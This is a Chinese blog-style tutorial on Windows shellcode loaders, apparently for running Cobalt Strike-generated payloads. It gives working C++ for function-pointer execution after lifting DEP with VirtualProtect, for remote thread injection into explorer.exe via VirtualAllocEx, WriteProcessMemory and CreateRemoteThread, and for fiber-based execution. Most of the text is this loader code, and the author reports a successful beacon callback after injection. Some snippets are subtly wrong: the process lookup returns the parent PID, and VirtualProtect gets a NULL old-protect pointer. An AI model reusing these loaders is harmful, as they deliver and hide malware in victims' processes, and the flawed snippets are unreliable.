shellcode执行
之前聊了聊shellcode的基础,windows与linux原理相同,方便起见直接使用cs生成
指针执行
将shellcode存储与数组,并取数组地址,将地址转换为void
无参数函数指针,并去执行,代码如下
#include <iostream>
#include <Windows.h>
// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")
// shellcode
unsigned char hexData[990] =
{
};
int main()
{
// 将hexData转换为函数指针并执行
((void(*)(void)) & hexData)();
return 0;
}
这也是网上很多shellcodeloader教程给出的第一个最基础的loader ,但其实是有问题的,当代的windows都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect
BOOL VirtualProtect(
LPVOID lpAddress, // 指向要修改的内存区域的起始地址
SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位
DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等)
PDWORD lpflOldProtect // 保存旧的保护属性的指针
);
int main()
{
VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
// 将hexData转换为函数指针并执行
((void(*)(void)) & hexData)();
return 0;
}
远程线程注入
简单理解,在已存在的进程中创建一个空间运行注入shellcode的内存空间
大体上可以分为两步,获得进程的id,写入线程shell
CreateToolhelp32Snapshot
函数原型:
HANDLE WINAPI CreateToolhelp32Snapshot(
_In_ DWORD dwFlags, /*这个参数指定了要创建的快照类型*/
/*允许以下值
TH32CS_SNAPALL:创建一个包含所有进程、线程、堆和模块的快照。
TH32CS_SNAPPROCESS:创建一个只包含进程的快照。
TH32CS_SNAPTHREAD:创建一个只包含线程的快照。
TH32CS_SNAPHEAPLIST:创建一个只包含指定进程的堆的快照。
TH32CS_SNAPMODULE:创建一个只包含指定进程的模块的快照。
TH32CS_INHERIT:快照句柄可以被子进程继承。*/
_In_ DWORD th32ProcessID /*指定要快照的进程的ID*/
);
DWORD findProessId(const wchar_t* targetProessName) {
// 拉取进程镜像
HANDLE hShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //创建一个只包含进程的快照。
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
//遍历
if (Process32First(hShot, &pe)) { // 获取第一条
do
{
if (wcscmp(pe.szExeFile,targetProessName) == 0){ //比较可执行文件名
CloseHandle(hShot);
return pe.th32ParentProcessID;
}
} while (Process32Next(hShot,&pe));//获取下一条,如果没有跳出循环
}
}
OpenProcess
WindowsApi的函数,用于打开一个已经存在的进程,并返回一个可供操作的句柄
函数原型:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //希望获得的访问权限,可以多个组合
BOOL bInheritHandle, //如果指定为true,则任何又这个进程创建的子进程都将继承句柄false则不继承
DWORD dwProcessId //指定要打开进程的pid
);
VirtualAllocEx
VirtualAllocEx函数用于在进程的虚拟地址空间中修改内存状态,这里用它来分配内存,函数原型是这样的
LPVOID VirtualAllocEx(
HANDLE hProcess, //前一个openprocess获得的句柄
LPVOID lpAddress, //要分配的内存区域基址,可以为NULL
SIZE_T dwSize, //大小
DWORD flAllocationType, //内存分配类型
DWORD flProtect //内存区域访问保护类型
);
参数说明:
-
hProcess
:指定进程的句柄。这个句柄必须拥有PROCESS_VM_OPERATION
的访问权限。 -
lpAddress
:指定要分配的内存区域的基址。如果此值为NULL
,则系统会为内存区域选择一个基址。 -
dwSize
:指定要分配的内存区域的大小(字节为单位)。大小必须为页面大小的整数倍。 -
flAllocationType
:指定内存分配类型,可以是以下值的组合:
-
MEM_COMMIT
:提交内存区域,使其成为调用进程的可访问内存。 -
MEM_RESERVE
:保留内存区域,为其保留虚拟地址空间,但不分配物理存储。 -
MEM_RESET
:指示在内存中由lpAddress
和dwSize
参数指定的数据无效。 -
MEM_TOP_DOWN
:在尽可能高的地址上分配内存。 -
MEM_WRITE_WATCH
:必须与MEM_RESERVE
一起指定,使系统跟踪那些被写入分配区域的页面。 -
MEM_PHYSICAL
:分配物理内存(仅用于地址窗口扩展内存)。
-
-
flProtect
:指定内存区域的访问保护类型,可以是以下值的组合:
-
PAGE_EXECUTE
:可执行。 -
PAGE_EXECUTE_READ
:可读可执行。 -
PAGE_EXECUTE_READWRITE
:可读写可执行。 -
PAGE_EXECUTE_WRITECOPY
:可读写可执行(写时复制)。 -
PAGE_NOACCESS
:不可访问。 -
PAGE_READONLY
:只读。 -
PAGE_READWRITE
:可读写。 -
PAGE_WRITECOPY
:可读写(写时复制)。
-
返回值:
- 如果函数成功,则返回值是页面分配区域的基址。
- 如果函数失败,则返回值是
NULL
。要获取扩展的错误信息调用GetLastError
。
WriteProcessMemory
WriteProcessMemory函数,其作用是将数据写入另一进程的内存空间的函数
函数原型
BOOL WriteProcessMemory(
HANDLE hProcess, //句柄
LPVOID lpBaseAddress, //基址
LPCVOID lpBuffer, //源缓冲区指针
SIZE_T nSize, //要写入的大小(字节单位)
SIZE_T *lpNumberOfBytesWritten //指针,用于接受实际写入的字节数
);
如果函数成功返回非零,反之为零
CreateRemoteThread
CreateRemoteThread函数,用于在另一进程的虚拟地址空间创建一个线程
函数原型:
HANDLE CreateRemoteThread(
HANDLE hProcess, //句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性 可以是NULL
SIZE_T dwStackSize, //线程栈的大小 如果是0则使用可执行文件的预设大小
LPTHREAD_START_ROUTINE lpStartAddress, //指向线程的函数的指针
LPVOID lpParameter, //传递给线程函数的参数
DWORD dwCreationFlags, //控制线程创建标志
LPDWORD lpThreadId //指向接收线程标识符的变量
);
返回值:
- 如果函数成功,返回值是新线程的句柄。
- 如果函数失败,返回值为
NULL
。
具体代码
HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
if (openPr == NULL) {
std::cerr << proessId << "打开进程失败" << std::endl;
}
//在虚拟地址中分配内存
LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
if (mec == NULL) {
std::cerr << "内存分配失败" << std::endl;
}
//写入目标
SIZE_T bytes;
if (!WriteProcessMemory(openPr,mec,shellcode,sizeof(shellcode),&bytes) || bytes != sizeof(shellcode)){ // 写入内存
std::cerr << "写入失败" << std::endl;
}
HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "创建线程失败" << std::endl;
}
return 0;
如果都正确,最终效果应该是这样的,注入成功后上线自动退出
精简后核心代码其实就是这几条
int main() {
const wchar_t* targetProcessName = L"explorer.exe";
DWORD proessId = findProessId(targetProcessName);
std::cout << proessId;
HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
SIZE_T bytes;
WriteProcessMemory(openPr, mec, shellcode, sizeof(shellcode), &bytes);
HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
return 0;
纤程执行
之前完全没接触过的名词,根据wiki与gpt的解释是纤程是用户级的轻量级并发单元,与线程不同不依赖操作系统进行调度,由应用程序管理
核心代码是
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);
// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);
// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);
其中会用到五个函数,VirtualProtect就略过了
ConvertThreadToFiber
ConvertThreadToFiber 函数的作用是将当前的线程转化为纤程,当他执行的时就直接转换了
函数原型:
PVOID ConvertThreadToFiber(PVOID pFiber); // 传入NULL就是将当前线程进行转化
CreateFiber
CreateFiber函数作用是允许手动创建纤程
函数原型:
PVOID CreateFiber(
SIZE_T dwStackSize, //纤程栈大小
LPFIBER_START_ROUTINE pFiberProc, //指向函数的指针
PVOID pParameter //参数指针
);
参考文献
指针执行
https://learn.microsoft.com/zh-cn/windows/win32/memory/data-execution-prevention
远程线程注入
https://learn.microsoft.com/zh-tw/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
纤程执行
https://en.wikipedia.org/wiki/Fiber_(computer_science)
https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/chuang-jian-xian-cheng-jia-zai